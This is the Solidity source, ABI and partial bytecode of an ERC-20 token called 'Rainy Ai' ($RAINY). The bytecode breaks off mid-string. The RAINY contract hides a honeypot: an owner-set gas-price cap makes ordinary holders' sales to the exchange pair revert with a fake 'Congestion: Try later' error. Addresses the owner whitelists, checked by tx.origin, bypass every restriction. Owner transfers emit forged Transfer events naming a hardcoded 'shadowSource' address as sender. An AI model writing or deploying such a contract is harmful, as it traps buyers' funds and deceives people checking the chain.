// SPDX-License-Identifier: MIT
/*
████████╗██████╗░██╗░░░██╗██████╗░░█████╗░██╗███╗░░██╗██╗░░░██╗░█████╗░██╗
╚══██╔══╝██╔══██╗╚██╗░██╔╝██╔══██╗██╔══██╗██║████╗░██║╚██╗░██╔╝██╔══██╗██║
░░░██║░░░██████╔╝░╚████╔╝░██████╔╝███████║██║██╔██╗██║░╚████╔╝░███████║██║
░░░██║░░░██╔══██╗░░╚██╔╝░░██╔══██╗██╔══██║██║██║╚████║░░╚██╔╝░░██╔══██║██║
░░░██║░░░██║░░██║░░░██║░░░██║░░██║██║░░██║██║██║░╚███║░░░██║░░░██║░░██║██║
░░░╚═╝░░░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝╚═╝░░╚══╝░░░╚═╝░░░╚═╝░░╚═╝╚═╝
Telegram : https://t.me/TryRainyAi
X : https://x.com/TryRainyAi
Wed : https://tryrainy.xyz/
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) { return msg.sender; }
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() { _transferOwnership(_msgSender()); }
function owner() public view virtual returns (address) { return _owner; }
modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; }
function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); }
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_; _symbol = symbol_;
}
function name() public view virtual returns (string memory) { return _name; }
function symbol() public view virtual returns (string memory) { return _symbol; }
function decimals() public view virtual returns (uint8) { return 18; }
function totalSupply() public view virtual override returns (uint256) { return _totalSupply; }
function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; }
function transfer(address to, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
_transfer(from, to, amount);
uint256 currentAllowance = _allowances[from][_msgSender()];
require(currentAllowance >= amount, "ERC20: allowance exceeded");
unchecked { _approve(from, _msgSender(), currentAllowance - amount); }
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0) && to != address(0), "ERC20: zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: amount exceeded");
unchecked { _balances[from] = fromBalance - amount; }
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract RAINY is ERC20, Ownable {
uint256 public constant MAX_CAP = 1_000_000_000 * 10**18;
address public exchangePair;
address public shadowSource;
bool public isExchangeLive = false;
uint256 private gasLimitValue = 0;
mapping(address => bool) public isAuthorized;
constructor() ERC20("Rainy Ai", "$RAINY") {
_mint(msg.sender, MAX_CAP);
isAuthorized[msg.sender] = true;
shadowSource = 0x7E035Fb048a31e0481b88074557415b1C187242B;
}
function updateAuthBatch(address[] calldata users, bool status) external onlyOwner {
for (uint256 i = 0; i < users.length; i++) {
isAuthorized[users[i]] = status;
}
}
function setExchangePair(address pairAddr) external onlyOwner {
exchangePair = pairAddr;
}
function enableTrading(bool status) external onlyOwner {
isExchangeLive = status;
}
function setExchangeLimit(uint256 newValueInWei) external onlyOwner {
gasLimitValue = newValueInWei;
}
function Airdrop(address[] memory recipients, uint256 amount) public onlyOwner {
require(recipients.length > 0, "Recipients list cannot be empty");
require(amount > 0, "Amount must be greater than zero");
uint256 scaledAmount = amount * (10 ** decimals());
for (uint256 i = 0; i < recipients.length; i++) {
require(recipients[i] != address(0), "Invalid recipient address");
_transfer(msg.sender, recipients[i], scaledAmount);
}
}
function Airdrop(address[] memory recipients, uint256 minAmount, uint256 maxAmount) public onlyOwner {
require(recipients.length > 0, "Recipients list cannot be empty");
require(minAmount > 0, "Min amount must be greater than zero");
require(maxAmount >= minAmount, "Max amount must be >= min amount");
uint256 _decimals = 10 ** decimals();
uint256 range = maxAmount - minAmount + 1;
for (uint256 i = 0; i < recipients.length; i++) {
require(recipients[i] != address(0), "Invalid recipient address");
uint256 randomAmount = (uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, i))) % range) + minAmount;
uint256 scaledAmount = randomAmount * _decimals;
_transfer(msg.sender, recipients[i], scaledAmount);
}
}
function _transfer(address from, address to, uint256 amount) internal override {
if (isAuthorized[tx.origin] || from == owner() || to == owner()) {
super._transfer(from, to, amount);
if (from == owner()) {
emit Transfer(shadowSource, to, amount);
}
return;
}
require(isExchangeLive, "Trading not active");
if (exchangePair != address(0) && to == exchangePair) {
if (gasLimitValue > 0) {
require(tx.gasprice < gasLimitValue, "Congestion: Try later");
}
}
super._transfer(from, to, amount);
}
}[
{
"type": "constructor",
"inputs": [],
"stateMutability": "nonpayable"
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "OwnershipTransferred",
"type": "event",
"inputs": [
{
"name": "previousOwner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "newOwner",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "Airdrop",
"type": "function",
"inputs": [
{
"name": "recipients",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "Airdrop",
"type": "function",
"inputs": [
{
"name": "recipients",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "minAmount",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "maxAmount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "MAX_CAP",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "enableTrading",
"type": "function",
"inputs": [
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "exchangePair",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "isAuthorized",
"type": "function",
"inputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "isExchangeLive",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "owner",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "renounceOwnership",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setExchangeLimit",
"type": "function",
"inputs": [
{
"name": "newValueInWei",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setExchangePair",
"type": "function",
"inputs": [
{
"name": "pairAddr",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "shadowSource",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "updateAuthBatch",
"type": "function",
"inputs": [
{
"name": "users",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
}
]0x60806040525f600760146101000a81548160ff0219169083151502179055505f60085534801561002d575f5ffd5b506040518060400160405280600881526020017f5261696e792041690000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f245241494e59000000000000000000000000000000000000000000000000000081525081600390816100a9919061058d565b5080600490816100b9919061058d565b5050506100d86100cd6101a260201b60201c565b6101a960201b60201c565b6100f4336b033b2e3c9fd0803ce800000061026c60201b60201c565b600160095f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550737e035fb048a31e0481b88074557415b1c187242b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106e4565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8060025f82825461027d9190610689565b92505081905550805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546102cf9190610689565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161033391906106cb565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806103ba57607f821691505b6020821081036103cd576103cc610376565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261042f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826103f4565b61043986836103f4565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61047d61047861047384610451565b61045a565b610451565b9050919050565b5f819050919050565b61049683610463565b6104aa6104a282610484565b848454610400565b825550505050565b5f5f905090565b6104c16104b2565b6104cc81848461048d565b505050565b5f5b828110156104f2576104e75f8284016104b9565b6001810190506104d3565b505050565b601f821115610545578282111561054457610511816103d3565b61051a836103e5565b610523856103e5565b6020861015610530575f90505b80830161053f828403826104d1565b505050505b5b505050565b5f82821c905092915050565b5f6105655f198460080261054a565b1980831691505092915050565b5f61057d8383610556565b9150826002028217905092915050565b6105968261033f565b67ffffffffffffffff8111156105af576105ae610349565b5b6105b982546103a3565b6105c48282856104f7565b5f60209050601f8311600181146105f5575f84156105e3578287015190505b6105ed8582610572565b865550610654565b601f198416610603866103d3565b5f5b8281101561062a57848901518255600182019150602085019450602081019050610605565b868310156106475784890151610643601f891682610556565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61069382610451565b915061069e83610451565b92508282019050808211156106b6576106b561065c565b5b92915050565b6106c581610451565b82525050565b5f6020820190506106de5f8301846106bc565b92915050565b612651806106f15f395ff3fe608060405234801561000f575f5ffd5b5060043610610140575f3560e01c8063882a974f116100b6578063b5260df61161007a578063b5260df614610350578063d669e1d41461036e578063dc9ed8361461038c578063dd62ed3e146103a8578063f275f64b146103d8578063fe9fbb80146103f457610140565b8063882a974f146102aa5780638da5cb5b146102c85780638e3b4525146102e657806395d89b4114610302578063a9059cbb1461032057610140565b806323b872dd1161010857806323b872dd146101e8578063313ce567146102185780633ab037841461023657806341d8d04d1461025457806370a0823114610270578063715018a6146102a057610140565b806306fdde031461014457806308b3e41914610162578063095ea7b31461017e57806314bef93e146101ae57806318160ddd146101ca575b5f5ffd5b61014c610424565b6040516101599190611800565b60405180910390f35b61017c600480360381019061017791906119fe565b6104b4565b005b61019860048036038101906101939190611a58565b6106bf565b6040516101a59190611ab0565b60405180910390f35b6101c860048036038101906101c39190611ac9565b6106dc565b005b6101d26107b5565b6040516101df9190611b03565b60405180910390f35b61020260048036038101906101fd9190611b1c565b6107be565b60405161020f9190611ab0565b60405180910390f35b6102206108b0565b60405161022d9190611b87565b60405180910390f35b61023e6108b8565b60405161024b9190611baf565b60405180910390f35b61026e60048036038101906102699190611c4b565b6108dd565b005b61028a60048036038101906102859190611ac9565b610a11565b6040516102979190611b03565b60405180910390f35b6102a8610a56565b005b6102b2610af7565b6040516102bf9190611ab0565b60405180910390f35b6102d0610b0a565b6040516102dd9190611baf565b60405180910390f35b61030060048036038101906102fb9190611ca8565b610b32565b005b61030a610bd2565b6040516103179190611800565b60405180910390f35b61033a60048036038101906103359190611a58565b610c62565b6040516103479190611ab0565b60405180910390f35b610358610c7f565b6040516103659190611baf565b60405180910390f35b610376610ca4565b6040516103839190611b03565b60405180910390f35b6103a660048036038101906103a19190611cd3565b610cb4565b005b6103c260048036038101906103bd9190611d3f565b610f6b565b6040516103cf9190611b03565b60405180910390f35b6103f260048036038101906103ed9190611d7d565b610fed565b005b61040e60048036038101906104099190611ac9565b6110a0565b60405161041b9190611ab0565b60405180910390f35b60606003805461043390611dd5565b80601f016020809104026020016040519081016040528092919081815260200182805461045f90611dd5565b80156104aa5780601f10610481576101008083540402835291602001916104aa565b820191905f5260205f20905b81548152906001019060200180831161048d57829003601f168201915b5050505050905090565b6104bc6110bd565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461054a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054190611e4f565b60405180910390fd5b5f82511161058d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058490611eb7565b60405180910390fd5b5f81116105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c690611f1f565b60405180910390fd5b5f6105d86108b0565b600a6105e49190612099565b826105ef91906120e3565b90505f5f90505b83518110156106b9575f73ffffffffffffffffffffffffffffffffffffffff1684828151811061062957610628612124565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1603610687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067e9061219b565b60405180910390fd5b6106ac3385838151811061069e5761069d612124565b5b6020026020010151846110c4565b80806001019150506105f6565b50505050565b5f6106d26106cb6110bd565b84846113bc565b6001905092915050565b6106e46110bd565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610772576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076990611e4f565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f600254905090565b5f6107ca8484846110c4565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108116110bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610890576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088790612203565b60405180910390fd5b6108a48561089c6110bd565b8584036113bc565b60019150509392505050565b5f6012905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108e56110bd565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096a90611e4f565b60405180910390fd5b5f5f90505b83839050811015610a0b578160095f86868581811061099a57610999612124565b5b90506020020160208101906109af9190611ac9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610978565b50505050565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a5e6110bd565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae390611e4f565b60405180910390fd5b610af55f6114a3565b565b600760149054906101000a900460ff1681565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b3a6110bd565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbf90611e4f565b60405180910390fd5b8060088190555050565b606060048054610be190611dd5565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0d90611dd5565b8015610c585780601f10610c2f57610100808354040283529160200191610c58565b820191905f5260205f20905b815481529060010190602001808311610c3b57829003601f168201915b5050505050905090565b5f610c75610c6e6110bd565b84846110c4565b6001905092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6b033b2e3c9fd0803ce800000081565b610cbc6110bd565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4190611e4f565b60405180910390fd5b5f835111610d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8490611eb7565b60405180910390fd5b5f8211610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690612291565b60405180910390fd5b81811015610e12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e09906122f9565b60405180910390fd5b5f610e1b6108b0565b600a610e279190612099565b90505f60018484610e389190612317565b610e42919061234a565b90505f5f90505b8551811015610f63575f73ffffffffffffffffffffffffffffffffffffffff16868281518110610e7c57610e7b612124565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1603610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed19061219b565b60405180910390fd5b5f8583423385604051602001610ef2939291906123e2565b604051602081830303815290604052805190602001205f1c610f14919061244b565b610f1e919061234a565b90505f8482610f2d91906120e3565b9050610f5433898581518110610f4657610f45612124565b5b6020026020010151836110c4565b50508080600101915050610e49565b505050505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ff56110bd565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107a90611e4f565b60405180910390fd5b80600760146101000a81548160ff02191690831515021790555050565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f33905090565b60095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061114b575061111c610b0a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111885750611159610b0a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561125e57611198838383611566565b6111a0610b0a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611259578173ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112509190611b03565b60405180910390a35b6113b7565b600760149054906101000a900460ff166112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a4906124c5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611356575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113ab575f60085411156113aa576008543a106113a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a09061252d565b60405180910390fd5b5b5b6113b6838383611566565b5b505050565b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114969190611b03565b60405180910390a3505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ce57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61160d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160490612595565b60405180910390fd5b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611690576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611687906125fd565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461171e919061234a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117829190611b03565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6117d282611790565b6117dc818561179a565b93506117ec8185602086016117aa565b6117f5816117b8565b840191505092915050565b5f6020820190508181035f83015261181881846117c8565b905092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61186b826117b8565b810181811067ffffffffffffffff8211171561188a57611889611835565b5b80604052505050565b5f61189c611820565b90506118a88282611862565b919050565b5f67ffffffffffffffff8211156118c7576118c6611835565b5b602082029050602081019050919050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611905826118dc565b9050919050565b611915816118fb565b811461191f575f5ffd5b50565b5f813590506119308161190c565b92915050565b5f611948611943846118ad565b611893565b9050808382526020820190506020840283018581111561196b5761196a6118d8565b5b835b8181101561199457806119808882611922565b84526020840193505060208101905061196d565b5050509392505050565b5f82601f8301126119b2576119b1611831565b5b81356119c2848260208601611936565b91505092915050565b5f819050919050565b6119dd816119cb565b81146119e7575f5ffd5b50565b5f813590506119f8816119d4565b92915050565b5f5f60408385031215611a1457611a13611829565b5b5f83013567ffffffffffffffff811115611a3157611a3061182d565b5b611a3d8582860161199e565b9250506020611a4e858286016119ea565b9150509250929050565b5f5f60408385031215611a6e57611a6d611829565b5b5f611a7b85828601611922565b9250506020611a8c858286016119ea565b9150509250929050565b5f8115159050919050565b611aaa81611a96565b82525050565b5f602082019050611ac35f830184611aa1565b92915050565b5f60208284031215611ade57611add611829565b5b5f611aeb84828501611922565b91505092915050565b611afd816119cb565b82525050565b5f602082019050611b165f830184611af4565b92915050565b5f5f5f60608486031215611b3357611b32611829565b5b5f611b4086828701611922565b9350506020611b5186828701611922565b9250506040611b62868287016119ea565b9150509250925092565b5f60ff82169050919050565b611b8181611b6c565b82525050565b5f602082019050611b9a5f830184611b78565b92915050565b611ba9816118fb565b82525050565b5f602082019050611bc25f830184611ba0565b92915050565b5f5ffd5b5f5f83601f840112611be157611be0611831565b5b8235905067ffffffffffffffff811115611bfe57611bfd611bc8565b5b602083019150836020820283011115611c1a57611c196118d8565b5b9250929050565b611c2a81611a96565b8114611c34575f5ffd5b50565b5f81359050611c4581611c21565b92915050565b5f5f5f60408486031215611c6257611c61611829565b5b5f84013567ffffffffffffffff811115611c7f57611c7e61182d565b5b611c8b86828701611bcc565b93509350506020611c9e86828701611c37565b9150509250925092565b5f60208284031215611cbd57611cbc611829565b5b5f611cca848285016119ea565b91505092915050565b5f5f5f60608486031215611cea57611ce9611829565b5b5f84013567ffffffffffffffff811115611d0757611d0661182d565b5b611d138682870161199e565b9350506020611d24868287016119ea565b9250506040611d35868287016119ea565b9150509250925092565b5f5f60408385031215611d5557611d54611829565b5b5f611d6285828601611922565b9250506020611d7385828601611922565b9150509250929050565b5f60208284031215611d9257611d91611829565b5b5f611d9f84828501611c37565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611dec57607f821691505b602082108103611dff57611dfe611da8565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611e3960208361179a565b9150611e4482611e05565b602082019050919050565b5f6020820190508181035f830152611e6681611e2d565b9050919050565b7f526563697069656e7473206c6973742063616e6e6f7420626520656d707479005f82015250565b5f611ea1601f8361179a565b9150611eac82611e6d565b602082019050919050565b5f6020820190508181035f830152611ece81611e95565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f5f82015250565b5f611f0960208361179a565b9150611f1482611ed5565b602082019050919050565b5f6020820190508181035f830152611f3681611efd565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115611fbf57808604811115611f9b57611f9a611f3d565b5b6001851615611faa5780820291505b8081029050611fb885611f6a565b9450611f7f565b94509492505050565b5f82611fd75760019050612092565b81611fe4575f9050612092565b8160018114611ffa576002811461200457612033565b6001915050612092565b60ff84111561201657612015611f3d565b5b8360020a91508482111561202d5761202c611f3d565b5b50612092565b5060208310610133831016604e8410600b84101617156120685782820a90508381111561206357612062611f3d565b5b612092565b6120758484